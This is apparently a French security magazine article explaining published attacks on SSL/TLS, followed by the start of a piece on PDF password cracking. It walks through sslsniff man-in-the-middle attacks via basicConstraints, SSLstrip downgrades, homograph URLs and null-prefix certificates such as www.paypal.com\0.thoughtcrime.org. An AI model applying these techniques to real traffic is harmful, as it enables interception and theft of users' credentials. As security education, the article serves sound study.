La chaine de confiance Il est évident que le certificat doit avoir été ré-digé et signé par une partie tierce, un tiers de confiance. Dans le cas contraire, ce modè-le n’aurait aucune légitimité dans la mesure où chacun aurait les pouvoirs de s’auto–cer-tifier, ce qui n’aurait pas de sens. Une seule Autorité de Certification ne peut pas, à elle seule, gérer l’ensemble des certifications. Par ailleurs, un commerce s’est peu à peu dé-veloppé autour de cette notion de confiance si bien que des chaînes de CA se sont des-sinées. Ainsi, un CA peut mandater d’autres tiers de confiance pour qu’ils l’aident dans sa tâche ; pour ce faire, il leur signe un certifi-cat de CA, dont la structure est très proche des certificats vus ci–dessus. La concaténa-tion de tous ces tiers de confiance s’appelle une PKI. A la tête de la PKI, il y a un CA root, puis une ossature en forme d’arbre comme le souligne la Figure 3.

Par construction, le navigateur d’un utilisateur fait confiance à certains CA, les CA roots. Lorsqu’il charge un certificat, le navigateur en vérifie l’auteur. S’il s’agit d’un CA connu et reconnu, le certificat est ac-

Figure 1. Lorsque l’échange est brouillé par un algorithme de chiffrement, la capture du message ne donne pas d’informations suffisantes pour en comprendre le sens

Figure 2. La démocratisation du certi-ficat x509v3 semble l’élever au rang de standard

Page 66: hakin9_2_2010_FR

PRATIQUE

66 HAKIN9 2/2010

cepté après vérification de son intégrité et des champs sensibles. Dans le cas contrai-re, le navigateur vérifie le certificat présenté par ce CA ainsi que l’entité qui l’a délivré, et

ainsi de suite jusqu’à validation totale de la chaîne. La valeur maximale de CA présents dans la chaîne dépend de l’implémentation. Le protocole de vérification des CA est le

protocole OSCP, il est résumé par la Figure 4 – tiré du site de developper.mozilla.org.

Ainsi et pour rebondir sur cette image, un certificat est considéré comme valide si toutes les signatures sont valides, si rien n’a expiré – tous les certificats présents sont encore dans leur période de validité –, si la chaîne de confiance est intacte et si le CA root est un CA connu et reconnu par les na-vigateurs.

Si un élément manque à l’appel, le certificat est rejeté et le site est considéré comme non sûr. Dans ce cas, le navigateur informe l’utilisateur que le site présente un certificat non valide en ouvrant une fenêtre d’avertissement. Dans le cas contraire, la station commence à communiquer avec le serveur en chiffrant ses messages avec la clé publique annoncée.

Une fois assimilés les concepts fonda-teurs et la structure d’un certificat, penchons-nous à présent sur ses vulnérabilités

Le champ Basic ConstraintCette vulnérabilité est l’une des premières ex-ploitées. Elle est aujourd’hui beaucoup plus ra-re, mais les outils développés pour l’exploiter sont indispensables pour tirer profit au maxi-mum des dernières failles décelées. Comme nous l’avons vu ci–dessus, lorsque la confian-ce est accordée à un CA, tous les certificats signés par ce CA sont considérés de confian-ce et peuvent à leur tour signer des certificats.

Scénario de falsification de la chai-ne des CAConsidérons le scénario suivant : Le do-maine thoughcrime.org demande un cer-tificat ; aucune raison ne s’y opposant, le certificat lui est fourni. A partir de là, un ser-veur appartenant à ce domaine est un ser-veur de confiance. Il peut alors générer et signer à son tour un certificat pour un autre serveur comme www.paypal.com. Lors-que ce certificat est proposé, le navigateur fait ses vérifications habituelles, explicitées précédemment. Le nom de domaine est correct, les signatures sont valides, rien n’a expiré, le chemin de CA semble intact, le CA root est un CA de confiance. Le certifi-cat est donc accepté et la communication sécurisée entamée. Nous venons donc de créer un certificat valide et accepté pour paypal, mais nous ne sommes pas pay-pal.

Trusted authority

Untrusted authority

Untrusted authority

Certificate issued byEngineering CA

Root CAcertificate

USA CAcertificate

EngineeringCA certificate

Programverifying thecertificate

Check validity period and verify that thisis signed by root CA. Since Root CA istrusted, verification stops here.

Check validity period and verify that thisis signed by USA CA. Since USA CA isnot trusted, check the next certificate

Check validity period and verify that thisis signed by Engineering CA. SinceEngineering CA is not trusted, checkthe next certificate

Figure 4. Dans le protocole OSCP, tous les CA doivent présenter leur certificat au navi-gateur, jusqu’à ce que le CA père soit un CA root, autrement dit un CA de confiance

Figure 5. Le champ basic constrainst permet de renseigner sur le statut du serveur en possession du certificat

Figure 3. La hiérarchie des CA est en forme d’arbre, chaque nœud père déléguant à son nœud fils la possibilité de signer à son tour des certificats

Page 67: hakin9_2_2010_FR

SSL DEFEATING

67 HAKIN9 2/2010

Un champ omisCe problème provient d’un champ obs-cur trop souvent oublié, le champ Basic Contraints. Ce champ a été proposé afin de distinguer les certificats délivrés, com-me le souligne la Figure 5.

Tous les certificats ne sont pas faits pour valider et signer d’autres certificats ; certains sont juste émis dans le but de valider un nom de domaine et une clé publique. Dès lors, il faut un champ qui stipule que le certificat ne peut être utilisé qu’à ce titre. Ce champ est le champ Basic Constraint. Il est convenu que lorsque ce champ n’est pas explicitement précisé, le nœud ne peut pas signer à son tour un certificat. La plupart des CA ne rem-plissent pas par défaut le champ basicCons-trainst :CA=FALSE. De plus, en pratique nous remarquons que ce champ n’est pas vérifié systématiquement comme il le devrait par les navigateurs ou autres implémentations qui utilisent SSL, ce qui permet la création et l’utilisation de faux certificats.

L’outil SSLSNIF{outil disponible à l’adresse http://www.thoughtcrime.org/software.html} développé par Marlinspike exploite cette faille et permet de réaliser une attaque de type Man In The Middle – abrégé en MITM – pour les connexions SSL. – cet outil a notamment été utilisé par l’équipe HashClash lors de leur créa-tion de faux certificats – Voilà un scénario possible de l’attaque…

SSLSNIF, le scénario de l’attaqueL’attaquant, en position de MITM dans le sous-réseau de sa victime, écoute, sans les modifier, l’ensemble des trames qui cir-culent. Il possède un certificat valide, pour un domaine quelconque, par exemple, pour reprendre l’exemple précédent, pour le do-maine thoughtcrime.org. Dans le flux d’in-formations, il intercepte une demande de connexion pour un site sécurisé – la requê-te vers un site qui utilise le protocole https:// impose une ouverture de connexion TCP particulière visant le port 443, ce qui per-met de la repérer – Il génère un certificat pour le site en question – il lui suffit de rem-plir dynamiquement les champs Subject et Signature, tous les autres champs pouvant être remplis préalablement. Le certificat est signé avec la clé privée. Comme le nœud n’est pas un root CA, il propose son certi-ficat.

L’attaquant ouvre également une connexion SSL normale vers le serveur lé-gitime, initialement appelé par la victime.

Des lors, nous nous retrouvons avec une double connexion SSL. La premiè-re relie la victime à l’attaquant, la secon-de l’attaquant au serveur. Entre les deux, les données sont en clair ce qui permet à l’attaquant d’écouter, voire de modifier les requêtes émises par le client de manière transparente pour ce dernier.

A l’heure actuelle, de grands acteurs du domaine du web implémentant le SSL n’ont toujours pas pris le temps de fixer ce problème. Ils rendent par conséquent leurs clients vulnérables à ce type d’attaques MITM. D’autres méthodes sont également développées dans le but de détourner de manière aussi discrète que possible la connexion SSL d’un client.

SSLSTRIPLa première de ces méthodes repose sur une exploration en profondeur des usages et de l’absence de norme de design autour de la sécurité. Ainsi, le fait que les principaux acteurs du domaine de l’informatique et de la sécu-rité de l’information utilisent des conventions floues n’aide pas l’utilisateur lambda à se po-sitionner par rapport aux risques encourus.

En effet, pour prendre un exemple, les dif-férents navigateurs – voire les différentes ver-sions d’un même navigateur – utilisent tous des codes différents pour signaler des choses similaires. – certificat non valide, utilisation du cadenas, petit drapeau vert… – En se plaçant au milieu de ces codes, il serait envisageable de piéger l’utilisateur déjà habitué à une hété-rogénéité des signes, et sans réel repère. La Figure 6 représente la différence des normes de design quant à la situation normale où un

Figure 6. L’hétérogénéité des tous les symboles ne permet pas à l’utilisateur une com-préhension solide des phénomènes de sécurité

Figure 7. L’utilisation de cadenas dans des pages non sécurisées tend à piéger l’utilisa-teur

Page 68: hakin9_2_2010_FR

PRATIQUE

68 HAKIN9 2/2010

certificat est validé par le navigateur – dans l’ordre IE, Firefox, Chrome – lorsque l’utilisateur se connecte au site www.gmail.com

Remarquons au passage que Chrome est le seul des trois navigateurs à indiquer sur la barre d’adresse quand la communica-tion est chiffrée mais que certains éléments de la page sont transmis en clair.

Par ailleurs, certains éléments du desi-gn d’une page non sécurisée employés à mauvais escient – comme un cadenas – peuvent conduire l’utilisateur à la confusion. Ainsi, il est possible de trouver des cade-nas – signe habituel d’une page sécurisée – sur des pages non sécurisées comme le représente la Figure 7.

Un chaos de signes incohérents mais faisant appel à l’imaginaire trompent ain-si l’utilisateur. L’utilisateur est la plupart du temps appelé à faire confiance à l’applica-tion, ce qui est le contraire même des fon-dements de la sécurité ; cela présage des failles intéressantes…

Le pont vers https Marlinspike explique lors de sa présenta-tion More tricks for defeating SSL in practice lors de la conférence BlackHat 09 la notion de pont qui existe aujourd’hui entre http et https, pont qui constitue selon lui une gros-se faiblesse d’un point de vue de la sécu-rité. Ainsi, il remarque que les connexions SSL sont la plupart du temps appelées par le protocole de communication http. En d’autres termes, le https est appelé par le http, l’utilisateur ne saisit jamais au grand jamais l’adresse https://www.monsite.com explicitement. L’appel passe par une redi-rection – http 302 – ou l’utilisation d’un bou-ton. Dans ce derniers cas, à moins d’être un utilisateur averti et de pénétrer dans le code source de la page, le client est appe-lé à faire confiance à l’application. En effet, lorsque le bouton redirige vers un lien https, contrairement à un lien hypertexte – où l’adresse appelée est disponible immédia-tement en passant dessus avec la souris –, le seul moyen de savoir où nous allons est de passer par le code source de la page et

de le déchiffrer dans son ensemble, ce qui peut être une tâche fastidieuse.

SSLSTRIP, le scénario de l’attaqueL’idée de l’attaque développée par Marlins-pike repose sur la faiblesse de ce pont qui relie http et https – http qui, lui, peut être vic-time d’une attaque de type MITM classique – puis l’exploitation avancée de la confu-sion induite par le design des sites. L’outil SSLSTRIP permet d’obtenir un résultat in-téressant.

L’attaquant, MITM dans le sous-réseau de sa victime écoute l’ensemble du trafic http qui circule entre sa victime et le ser-veur.

Dans le code source des pages en direction de la victime, chaque référence <a href=https://…> est changée en <a href=http://…>. Ceci est possible car le trafic utilise le protocole http ; il n’y a donc, par défaut, aucune vérification d’intégrité. Un tableau est construit et recense l’en-semble de ces changements.

Les headers des connexions https sont également modifiés en headers de connexion http – il suffit de modifier quel-ques champs comme nom du protocole, numéro de port, URL… ; une sauvegarde de ce qui a été modifié est conservée.

Ces deux étapes permettent de chan-ger la plupart des redirections explicitées précédemment, à savoir les boutons et les redirections http 302.

Lorsque nous voyons une requête http vers une URL que nous avons dans nos tableaux de sauvegarde – id est modifiée – nous envoyons nous-même une requête https vers le serveur.

Ainsi, nous sommes en position de MITM. Une connexion http relie l’attaquant et sa victime ; une connexion https relie l’at-taquant et le serveur. Aucune boîte de dia-logue ne prévient l’utilisateur d’un problème de certificat – ce qui était jusqu’à présent le cas lorsque nous tentions de faire une at-taque MITM sur SSL – car la requête faite par l’utilisateur est une requête http et non https. Par conséquent, elle n’appelle pas à la vérification d’un certificat.

Cette attaque menée telle quel n’est pas transparente pour l’utilisateur mais reste tout de même très discrète pour un utilisateur béotien. Ainsi, les seules dif féren-ces visibles sont la disparition du cadenas et du s dans la première partie de l’adres-se – https devient http – Pour le cadenas, une solution consiste à exploiter une icône favori lors de la communication, icône qui ressemble au cadenas que l’utilisateur a l’habitude de voir lors de ses connexions sécurisées.

Dès lors, l’utilisateur est désormais tel-lement habitué à voir ce logo se déplacer selon les navigateurs ou les versions qu’il ne sera pas forcément étonné de le voir apparaître ici.

Enfin, la confusion induite par les sites eux–même lorsqu’ils proposent des picto-grammes en forme de cadenas sur des sites non sécurisés, renforce notre position – cf. Figure 8.

Une fois en position de MITM, l’at ta-quant peut, selon sa volonté, récupérer l’ensemble des données transitant ou modifier les requêtes et les réponses. Il a pris la main sur le trafic en provenance et en direction de sa victime.

Attaque par homographieUne autre méthode proposée tente de réu-tiliser la notion d’attaque par homographie sur des connexions SSL.

L’attaque par homographie L’attaque par homographie s’appuie sur le fait que certains caractères spéciaux ont une forme très proche de caractères latins. Pour donner un exemple simple, il est très dif ficile de voir une dif férence entre les si-tes paypaI.com et paypal.com – le i ma-juscule ayant une forme proche de celle du l minuscule. Si cet exemple ne marche pas dans la pratique car la barre d’adres-se ne conserve pas les majuscules, l’ap-pel à d’autres caractères, par exemple cyrilliques, peut s’avérer extrêmement ingé-nieux. Ainsi, dans la mesure où il est possi-ble d’enregistrer un nom de domaine avec des caractères spéciaux dont l’apparence est très proche de celle de nos caractères latins, Eric Johanson avait ainsi enregistré en 2005 le domaine p&. #1072;ypal.com. Ce domaine utilise le caractère cyrillique a qui ressemble beaucoup au caractère

Figure 8. L’utilisation de cadenas dans une icône tend à persuader l’utilisateur qu’il navigue sur une page sécurisée

Figure 9. L’utilisation de caractères spé-ciaux proches des caractères habituels permettent de piéger l’utilisateur

Page 69: hakin9_2_2010_FR

SSL DEFEATING

69 HAKIN9 2/2010

latin a induisant par conséquent la confu-sion chez l’utilisateur.

Ce problème de nom de domaine fai-sant appel à des caractères spéciaux a été résolu par les navigateurs en faisant appel à une syntaxe de codage simple : le pu-nycode. Le punycode est défini dans RFC 3492. Dès lors, pour les Top Level Domains comme .com les navigateurs récents pro-posent aussi bien dans la barre de statut que dans la barre d’adresse, le change-ment des caractères IDN – caractères in-ternationaux –en caractères punycodes, excitant alors la curiosité voire la méfiance de l’utilisateur.

L’adaptation de l’attaque par homo-graphie aux connexions SSLL’idée est de reprendre ce concept d’atta-que par homographie, de passer outre la protection proposée par les navigateurs et de l’améliorer afin qu’elle puisse servir à corrompre des sites sécurisés. Pour mener une attaque puissante, il faut rechercher une méthode qui puisse permettre une attaque généralisée ; elle doit idéalement fonctionner avec l’ensemble des domaines – et pas seulement un nom de domaine comme précédemment avec paypal.com.

La protection proposée par les naviga-teurs ne fonctionne que pour certains TLD sensibles, comme .com. Il s’agit de trouver un TLD qui n’imposera pas la traduction par le navigateur. Marlinspike propose l’uti-lisation de .cn – TLD équivalent au .fr pour la chine { http://en.wikipedia.org/wiki/List_of_Internet_top–level_domains–}. Il deman-de ensuite la création d’un certificat pour l’ensemble du domaine ijjk.cn. Cela signi-fie que l’ensemble des sites *.ijjk.cn devront proposer ce certificat. Ce domaine sera donc sécurisé et de confiance.

Par la suite, une recherche des carac-tères prédominants dans le monde du web souligne le fait que les URL regorgent de symboles comme /, ? et &. Il s’agit donc de trouver un caractère spécial qui puisse res-sembler à l’un de ceux-là afin de créer une fausse URL.

Après recherche, Marlinspike est donc parvenu à trouver des caractères spéciaux ressemblants à / .

La Figure 9 montre que les slashs en-cadrant le nom de dossier accounts ne sont pas ceux du clavier occidental – ils

sont plus penchés. Ainsi, une fausse URL est créée. En finissant le bout précédent avec .ijjk.cn, nous nous assurons que cet-te page fait effectivement partie de notre domaine. Dès lors, nous avons construit la page google.com–slash–accounts–slash–servicelog.ijjk.cn.

Le scénario de l’attaque L’attaquant se met en position de MITM par rapport à tout un sous-réseau. Il uti-lise une version légèrement modifiée de SSLSTRIP. Au lieu de changer le https en http comme il le faisait dans la partie pré-cédente, SSLSTRIP modifie à présent les URL des liens, des redirections ou des boutons pour les fausses URL de notre domaine – mêmes URL avec les slashs remplacés par les faux slash, .ijjk.cn.

Lorsqu’il veut se connecter à un site lé-gitime, l’utilisateur est amené de force sur le faux site de l’attaquant. Ensuite, le serveur hébergeant le faux site propose le certifi-cat de l’attaquant, certificat valide pour l’in-tégralité du domaine ijjk.cn. Le certificat est accepté par le navigateur de la victime. La communication sécurisée commence.

D’un point de vue de l’utilisateur, cette attaque est encore moins perceptible que la précédente car nous sommes toujours sur du https, le certificat est valide et le ca-denas apporte la conviction que tout est en ordre.

Cette attaque est une attaque éclair, que l’attaquant peut stopper à tout moment en basculant de nouveau le trafic vers le

serveur légitime. Par ailleurs, le certificat universel – pour l’ensemble du domaine *.ijjk.cn – permet en plus de prendre pour cible la totalité des sites sécurisés, ce qui est assez confortable pour une personne malveillante.

SSL Certificate Defeating Les attaques précédentes, bien que très efficaces supposent l’existence du pont http https. Néanmoins, ce pont n’existe pas lorsque l’utilisateur saisit l’intégralité de l’adresse – https ://… – ou lorsque le si-te fait partie des marque-pages. Ces cas sont assez embarrassants car les sites qui intéressent une personne malveillante sont les sites de type compte mail, ou compte bancaire, qui figurent souvent parmi les fa-voris. Par ailleurs certains protocoles com-me IMAPs, POPs… ne sont également pas vulnérables. La partie suivante propo-se une méthode complètement dif férente afin d’assujettir une bonne fois pour toutes les certificats x509. Cette nouvelle métho-de repose sur une connaissance profonde des protocoles de demande et de vérifica-tion des certificats.

La demande de certificatDans la création d’un certificat, l’entité de-mandeuse du certificat envoie à l’autorité de certification un Certificate Signing Re-quest. Cette requête spécifie la version du certificat avec laquelle le serveur souhaite travailler, son domaine de validité, sa clé pu-blique ainsi que d’autres attributs. Ces re-

Figure 10. Ouverture de connexion vers une page sécurisée

Figure 11. réponse du serveur lors du protocole Handshake

Page 70: hakin9_2_2010_FR

PRATIQUE

70 HAKIN9 2/2010

quêtes sont validées si le demandeur peut justifier sa possession du domaine sur le-quel il souhaite proposer le certificat, c’est–à–dire le domaine stipulé par le certificat au champ Common Name. Par exemple, pour la page bankofamerica.com , l’autori-té de certification vérifie la possession du root domain. Une recherche dans la base de données WHOIS LOOKUP indique que l’adresse mail [email protected] appartient à l’administrateur du root domain bankofamerica.com. Ce qui est important ici, c’est que la plupart des autori-tés de certification ne s’intéresse qu’au root domain, sans se préoccuper du SubDo-main. Par conséquent, dans notre deman-de de certificat, il est possible de saisir des champs comme iiiiiiiiiiiiiiiiiiii.bankofamerica.com ou encore jesuisunhacker.bankofame-rica.com. Tout ceci n’a aucune importance, dans tous ces cas c’est juste la possession du root domain – à savoir bankofamerica.com – qui devra être confirmé pour l’obten-tion du certificat.

Enfin, il est essentiel de comprendre que les CN sont représentés dans le cer-tificat comme une chaîne pascal, id est un tableau de caractères qui commence par la taille de la chaîne, suivi de la chaîne de caractères. Dans ce langage de program-mation, le caractère ‘\0’ est un caractère comme un autre et n’a pas le sens de ca-ractère de fin comme il pourrait l’avoir avec d’autre langage comme le C.

Une fois qu’il possède le certificat, le serveur est en mesure de commencer des discussions sécurisées avec ses clients.

HandshakeLa première étape lors d’une connexion à une page sécurisée est l’ouverture d’une connexion TCP particulière visant le port 443 – port https. Celle–ci ressemble à une ouverture de connexion TCP classique, en trois étapes : https[SYN] https[SYN,ACK] https[ACK]. Après l’échange de ces trois messages, la communication est lancée entre la station et le serveur.

La Figure 10 est une capture d’écran obtenue à partir du logiciel Wireshark. Nous y voyons les trois étapes nécessai-res à l’ouverture d’une connexion TCP entre la station 172.16.204.204 – qui demande l’ouverture de la connexion avec le messa-ge SYN – et le serveur 64.4.241.33. Une fois la connexion établie, le protocole Handsha-ke est mis en place.

Le client envoie un message client Hel-lo {http://tools.ietf.org/html/rfc2246} vers le serveur. Ce message contient le type du message – client Hello – , la version TLS utilisée, l’ensemble des protocoles de chif-frement supportés par le navigateur, l’en-semble des méthodes de compression supportées par le navigateur, le nom du serveur visé ainsi que d’autres champs complémentaires et aléatoires. Ce messa-ge appelle une réponse du serveur. Le ser-veur envoie alors un message qui contient trois données primordiales :server Hello, Certificate, server Hello done.

Dans la partie server Hello, le serveur propose un numéro de session qui per-mettra de rattacher la conversation à un contexte, et explicite les données crypto-

graphiques qui pourront être utilisées dans la suite de la conversation. Ensuite, la chaî-ne des certificats est jointe dans la suite du message – certificat du serveur et de l’en-semble des CA qui sont intervenus dans la chaîne de confiance – , avant la dernière partie server Hello done (cf. Figure 11).

Lorsqu’il reçoit le certificat, le navigateur commence par contrôler le champ ‘sub-ject ’ qui permet de confirmer que le site auquel l’utilisateur essaie de se connecter est vraiment le site qui propose son certi-ficat. Le champ subject est présenté com-me suit (cf. Figure 12).

Le navigateur se concentre en réalité sur le sous-champ CN qu’il compare avec l’URL saisie dans la barre d’adresse. Il s’agit donc de comparer la chaîne de caractères de la barre d’adresse avec celle présente dans le certificat. Une fois ce champ contrô-lé, il passe en revue la validité des signa-tures ainsi que l’expiration des certificats. Enfin, c’est la non corruption de la chaîne des certificats qui est analysée au moyen du protocole OSCP.

L’obtention d’un certificat L’idée de cette attaque est de présenter un certificat valide pour l’utilisateur. Dans un pre-mier temps, considérons que l’attaquant sou-haite piéger l’utilisateur sur le site paypal .com. Il doit donc lui fournir le certificat de www.pay-pal.com. S’il lui fournit le certificat réel de pay-pal, il ne tirera aucun profit de cette action. En effet, ne possédant pas la clé privée relative à la clé publique présentée dans le certifi-cat, il sera dans l’incapacité de déchiffrer les messages. Il s’agit donc pour l’attaquant de proposer un certificat valide – id est signé par une autorité de certification – avec sa clé pu-blique mais avec le CN www.paypal.com.

Quoi qu’il en soit, il faut passer par une autorité de certification. S’il demande au CA de lui fournir un certificat pour le CN www.paypal.com, dans la mesure où il ne pos-sède pas le root domain correspondant, le CA lui renverra une réponse négative. En revanche, considérons que l’attaquant possède le domaine toughtcrime.org. Il lui est alors possible de réclamer un certifi-cat pour les CN www.thoughtcrime.org, iiiiiiiiiiiiiiiiii.thoughtcrime.org, jesuisunhacker.thoughtcrime.org ou encore par exemple www.paypal.com\0.thoughtcrime.org. En ef-fet, comme vu plus haut, le CA pour accor-Figure 12. Contrôle de l’identité du serveur

Sur Internet• http://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-

Defeating-SSL.pdf – slides de la présentation de Moxie Marlinspike,• http://www.securitytube.net/Defeating-SSL-using-SSLStrip-(Marlinspike-Blackhat)-video.

aspx – vidéo de la présentation de Marlinspike à la conférence BlackHat• http://www.thoughtcrime.org/ – page perso de Marlinspike sur laquelle sont disponibles les

outils décrits dans l’article

Page 71: hakin9_2_2010_FR

SSL DEFEATING

71 HAKIN9 2/2010

der le certificat ne se concentre que sur le root domain – ici thoughtcrime.org – qui lui appartient. Ainsi, lorsqu’il soumet le CN www.paypal.com\0.thoughtcrime.org, le CA fait son WHOIS LOOKUP et envoie un mail de vérification au propriétaire du root do-main, sans se préoccuper du subdomain. L’attaquant possède donc un certificat va-lide pour le CN www.paypal.com\0.thought-crime.org.

L’attaque L’attaquant se met en position de MITM comme dans toutes les attaques précé-dentes. Lorsque sa victime veut se connec-ter au serveur www.paypal.com, l’attaquant lui soumet son certificat pour le serveur www.paypal.com\0.thoughtcrime.org. se fai-sant ainsi passer pour le serveur légitime.

Quand il reçoit le certificat, le navigateur client commence par vérifier le champ sub-ject, id est la corrélation entre l’URL saisie et le CN du certificat. La plupart des implémen-tations actuelles de SSL/TLS considèrent les chaines de caractères comme des chaines C et utilisent à ce titre les fonctions de com-paraison et de manipulation proposées par les bibliothèques de C. Nous sommes donc ramenés au cas suivant : une première chaî-ne de caractères issue du certificat – chai-ne1 – et une seconde chaîne de caractères issues de l’URL – chaine2–. Le navigateur fait appel à la fonction strcmp(chaine1, chaine2). Si strcmp(chaine1, chaine2) = 0 alors, les deux chaînes de caractères

sont identiques et le navigateur passe à l’éta-pe suivante de sa vérification.

Comparons ces deux chaînes comme le fait la fonction strcmp.

www.paypal.com\0.thoughtcrime.org\0, www.paypal.com\0

La fonction compare les deux chaînes jusqu’à la fin, id est jusqu’à arriver au carac-tère nul. Or, jusqu’au caractère \0, les deux chaînes sont identiques. Lorsqu’il arrive au caractère nul, le navigateur passe à la suite. Il considère alors que le CN est valide. La sui-te des vérifications ne pose aucun problème puisque la démarche a été suivie minutieu-sement. Le certificat présenté est donc valide pour la plupart des implémentations de SSL – Firefox, IE, chrome, Lynx, Curl, Thunderbird, Outlook, Evolution, Pidgim, AIM…

D’un point de vue fonctionnel, la version 0.6 de SSLSNIFF permet de réaliser cet-te attaque. L’attaquant occupe une place de MITM. Lorsque l’utilisateur essaie de se connecter, SSLSNIFF vérifie s’il a un certi-ficat à préfixe nul à présenter à la victime. Si c’est le cas, il présente son certificat et ouvre une connexion légitime vers le ser-veur. Dès lors, nous avons deux connexions SSL : la première entre la victime et l’uti-lisateur, la seconde entre l’attaquant et le serveur. Une fois de plus, les données tran-sitent en clair dans la station de l’attaquant, ce qui lui permet de les modifier et de les voler à sa guise.

Si plusieurs implémentations SSL sont susceptibles d’être sensibles à cette atta-

que, le NSS de Mozilla est la pire victime. Cette méthode peut alors être améliorée pour offrir un certificat universel qui peut être présenté à l’utilisateur lorsqu’il souhaite se connecter à un site sécurisé. Cela signi-fie que notre certificat sera valide quelque soit le site visité par l’utilisateur. Ainsi, une position MITM dans un sous-réseau per-mettra de récupérer l’ensemble des don-nées chiffrées.

La lecture du code source de NSS nous apprend qu’il est possible de faire un certificat pour *\0thoughtcrime.org… Si les autres implémentations de SSL nécessi-tent un certificat dif férent pour chaque site visité, NSS n’a besoin que d’un seul certifi-cat, universel. Il est alors possible de cap-turer l’ensemble des connexions ouvertes par une application NSS – Firefox, Thunder-bird, Evolution, Pidgin, AIM – vers un serveur quelconque. La version 0.6 de SSLSNIF est à jour et permet de faire la dif férence en-tre un client NSS auquel il doit présenter un certificat universel, où un autre client à qui il présentera un certificat à caractère nul.

ConclusionAprès les premières secousses qui ont ébranlées SSL depuis sa création, Mar-linspike vient de remettre en cause outre les vulnérabilités techniques qu’il est dif fi-cile d’éviter – dans la mesure où les pro-grammes sont conçus et implémentés par l’homme – des failles de concordances des dif férents acteurs du domaine de la sécurité de l’information. L’informatique ne doit pas être une science ésotérique. L’uti-lisateur béotien est pris entre des enjeux qu’il ne saisit pas, qu’il ne comprend pas ; il est au cœur d’une guerre entre les grands acteurs du domaine qui refusent de s’har-moniser pour lui offrir une vision claire, ou des acteurs plus petits qui parviennent à embrouiller les bases. D’autres vulnérabili-tés ont également été récemment, comme l’exploitation de collision MD5 pour générer un faux certificat.

La signature numériqueUne signature numérique permet au destinataire de s’assurer que le message n’a pas été modifié depuis sa création. Elle repose sur les notions de hash et de chiffrement.

Une fonction cryptographique de hash est une fonction déterministe qui prend en entrée un bloc arbitraire de données et retourne en sortie une chaîne de caractères de longueur fixe – qui dé-pend de la fonction – , le hash; Par construction de cette fonction, une modification même mineure d’une donnée en entrée change de façon significative le résultat de sortie. Une des conditions prin-cipales de validation d’une fonction de hachage est qu’il est difficile de trouver deux messages dif-férents qui possèdent la même valeur de sortie. Dès lors, deux messages qui ont le même hash sont considérés comme identiques.

Pour signer un message, l’expéditeur calcule le hash du message et chiffre ce hash avec sa clé privée. Le résultat obtenu est appelé signature numérique. Elle est envoyée avec le message.

Lorsque le destinataire veut vérifier l’intégrité du message et l’authentification de l’expéditeur, il déchiffre la signature avec la clé publique de l’expéditeur – disponible par ailleurs. Ensuite, il calcule à son tour le hash du message avec la même fonction de hachage et compare les deux résultats. S’ils sont identiques, alors, le message sera considéré comme ayant été effectivement été envoyé par l’expéditeur spécifié et qu’il n’a pas été modifié.

La fonction de hachage utilisée joue un rôle décisif. Pour des raisons de sécurité, il est primor-dial d’utiliser une fonction jugée sûre. Aujourd’hui – aout 2009 – la NSA considère les fonctions SHA256 et SHA512 comme sûres. Nous ne devrions pas utiliser d’autres fonctions – SHA1 n’est pas sûre, MD5 non plus depuis décembre 2008.

À propos de l’auteurDavid est étudiant à Télécom Paristech, école d’ingé-nieurs spécialisée dans les nouvelles technologies de l’information et de la communication. Actuellement élève d’un master concernant la sécurité de l’information il s’in-téresse aux vulnérabilités non seulement techniques mais également humaines, honorant ainsi le social engi-neering d’une place de choix sur la scène de l’intrusion dans un système d’informations.

Page 72: hakin9_2_2010_FR

72 HAKIN9 2/2010

PRATIQUE

73 HAKIN9

SÉCURITÉ DES MOTS DE PASSE DANS LES FICHIERS PDF

2/2010

Aujourd'hui, les entreprises considèrent l'information comme une donnée essentielle et stratégique qu'il faut protéger.

La sécurité des systèmes d'information doit tenir compte qu'un document peut être dif fusé, mais avec des limitations (interdire l'impression, la modification, la copie du contenu, …).

Pour répondre à ces besoins, Adobe fait ré-gulièrement évoluer le modèle de structure des fichiers PDF depuis 1993.

ALEXANDRE LACAN

CET ARTICLE EXPLIQUE...les différents niveaux de mot de passe d'un fichier PDF,

comment récupérer le mot de passe.

CE QU'IL FAUT SAVOIR...utiliser le système Linux,

avoir des notions de chiffrement.

De par są popularité, RC4 a fait l'objet de nombreuses recherches et n'est plus considéré comme sûr. L'ajout de fonctionnalités de chif fre-ment en AES 128, puis en AES 256, a permis d'atteindre un niveau de sécurité "confortable", pour peu que la stratégie de mot de passe soit robuste.

Depuis 2001, avec la version Adobe 5, il est possible de protéger les fichiers PDF par des certi-ficats. Cet article n'abordera pas ce sujet.

Degré de difficulté

Sécurité des mots de passe dans les fichiers PDFLa méthode la plus simple et la plus rapide pour la protection des fichiers PDF est l'utilisation des mots de passe : elle permet de garder un équilibre entre sécurité et rentabilité. Néanmoins, une mauvaise politique de mot de passe risque facilement de mettre en danger les données confidentielles d'une entreprise.

Sur le réseau• http://en.wikipedia.org/wiki/PDF – Histoire et description du format PDF d'Adobe,• http://sourceforge.net/projects/pdfcrack – Projet PDFCrack• http://learn.adobe.com/wiki/download/attachments/52658564/acrobat_security_admin_guide_90.pdf - Gui-

de de sécurité Acrobat• http://www.adobe.com/security/pdfs/acrobat_livecycle_security_wp.pdf - Introduction à la sécurité des docu-

ments électroniques

Listing 1. Exemple extrait du code source de PDFCrack

md5(encKeyWorkSpace, 32, enckey);

md5_50(enckey);

memcpy(test, encdata->o_string, PARTIAL_TEST_SIZE);

RC4_DECRYPT_REV3(PARTIAL_TEST_SIZE);

/** if partial test succeeds we make a full check to be sure */if(unlikely(memcmp(test, password_user, PARTIAL_TEST_SIZE) == 0)) {memcpy(test, encdata->o_string, 32);

RC4_DECRYPT_REV3(32);

if(memcmp(test, password_user, 32) == 0)return true;

Page 73: hakin9_2_2010_FR

72 HAKIN9 2/2010

PRATIQUE

73 HAKIN9

SÉCURITÉ DES MOTS DE PASSE DANS LES FICHIERS PDF

2/2010

Deux types de mot de passePour protéger un document PDF, il existe deux niveaux de sécurité (cf. Figure 1). Le mot de passe d'utilisation ("owner password"), permet de protéger le fi-chier contre : l'impression, l'assemblage du document, la copie du contenu, l'ex-traction de pages, l'ajout de commen-taires, … Il ne permet pas de bloquer la visualisation du document, et ne chif fre donc pas ce document. Le document

n'étant pas chif fré, il est aisé de le re-copier sans apposer les éléments de protection.

